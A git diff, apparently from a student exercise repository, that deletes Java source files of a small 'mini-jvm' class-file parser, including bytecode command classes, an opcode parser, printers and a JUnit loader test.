-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(getReadableCodeText());
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode.toUpperCase());
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/CommandParser.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/CommandParser.java
deleted file mode 100644
index e86d3de1de..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,144 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class CommandParser {
-
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-		if (codes == null || codes.length() <= 0) {
-			throw new RuntimeException("字节码指令解析错误!");
-		}
-		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
-		CommandIterator iter = new CommandIterator(codes);
-		while (iter.hasNext()) {
-			String opcmd = iter.next2CharAsString();
-			System.out.println("opcmd:" + opcmd);
-			if (bipush.equalsIgnoreCase(opcmd)) {
-				BiPushCmd cmd = new BiPushCmd(clzFile, opcmd);
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (getfield.equalsIgnoreCase(opcmd)) {
-				GetFieldCmd cmd = new GetFieldCmd(clzFile, opcmd);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (getstatic.equalsIgnoreCase(opcmd)) {
-				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opcmd);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (invokespecial.equalsIgnoreCase(opcmd)) {
-				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opcmd);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (invokevirtual.equalsIgnoreCase(opcmd)) {
-				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opcmd);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (ldc.equalsIgnoreCase(opcmd)) {
-				LdcCmd cmd = new LdcCmd(clzFile, opcmd);
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (new_object.equalsIgnoreCase(opcmd)) {
-				NewObjectCmd cmd = new NewObjectCmd(clzFile, opcmd);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (putfield.equalsIgnoreCase(opcmd)) {
-				PutFieldCmd cmd = new PutFieldCmd(clzFile, opcmd);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (dup.equalsIgnoreCase(opcmd) || aload_0.equalsIgnoreCase(opcmd) || aload_1.equalsIgnoreCase(opcmd)
-					|| aload_2.equalsIgnoreCase(opcmd) || iload_1.equalsIgnoreCase(opcmd)
-					|| iload_2.equalsIgnoreCase(opcmd) || iload_3.equalsIgnoreCase(opcmd)
-					|| fload_3.equalsIgnoreCase(opcmd) || voidreturn.equalsIgnoreCase(opcmd)
-					|| astore_1.equalsIgnoreCase(opcmd)) {
-				NoOperandCmd cmd = new NoOperandCmd(clzFile, opcmd);
-				cmds.add(cmd);
-			} else {
-				throw new RuntimeException("暂不支持的指令类型!");
-			}
-		}
-		calcuateOffset(cmds);
-		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
-		cmds.toArray(result);
-		return result;
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 2e6061edd2..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index e6cf9d5960..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index ac228d0e4d..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index c15d827797..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
deleted file mode 100644
index ffb66f811c..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 33813b5d59..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 56c28fefe2..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 963d064257..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 85bb369c19..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 6c0cf53082..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/field/Field.java b/group27/383117348/mini-jvm/com/coderising/jvm/field/Field.java
deleted file mode 100644
index 1d03d962e4..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		Field field = new Field(iter.nextU2Int(), iter.nextU2Int(), iter.nextU2Int(),pool);
-		int attributeCount=iter.nextU2Int();
-		System.out.println("attributeCount:"+attributeCount);
-		for(int j=0;j<attributeCount;j++){
-			int attribute_name_index = iter.nextU2Int();
-			int attribute_length = iter.nextU4Integer();
-			int attribute_value_index = iter.nextU2Int();
-		}
-		return field;
-	}
-	
-	@Override
-	public String toString() {
-		String name = pool.getUTF8String(nameIndex);
-		String descr = pool.getUTF8String(descriptorIndex);
-		return name+":"+descr;
-	}
-	
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java b/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java
deleted file mode 100644
index 091ecc2209..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,76 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class Method {
-
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-
-	private CodeAttr codeAttr;
-
-	private ClassFile clzFile;
-
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-
-	public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
-
-		int accessFlag = iter.nextU2Int();
-		int nameIndex = iter.nextU2Int();
-		int descriptorIndex = iter.nextU2Int();
-
-		Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
-
-		int attirbutesCount = iter.nextU2Int();
-		
-		for (int i = 0; i < attirbutesCount; i++) {
-			int attributeNameIndex = iter.nextU2Int();
-			iter.back(2);
-			String attributeName = ((UTF8Info) clzFile.getConstantPool().getConstantInfo(attributeNameIndex))
-					.getValue();
-			
-			if (null != attributeName && attributeName.equalsIgnoreCase(AttributeInfo.CODE)) {
-				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-				method.setCodeAttr(codeAttr);
-
-			} else {
-				throw new RuntimeException("解析属性异常-属性名:"+attributeName);
-			}
-		}
-		return method;
-	}
-	public ByteCodeCommand[] getCmds() {		
-		return this.getCodeAttr().getCmds();
-	}
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java b/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index 14407bacbe..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMinorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java b/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 028161adc7..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		
-		
-		
-	}
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java b/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index b2128a5372..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,353 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "E:\\MyGit\\coding2017\\group27\\383117348\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
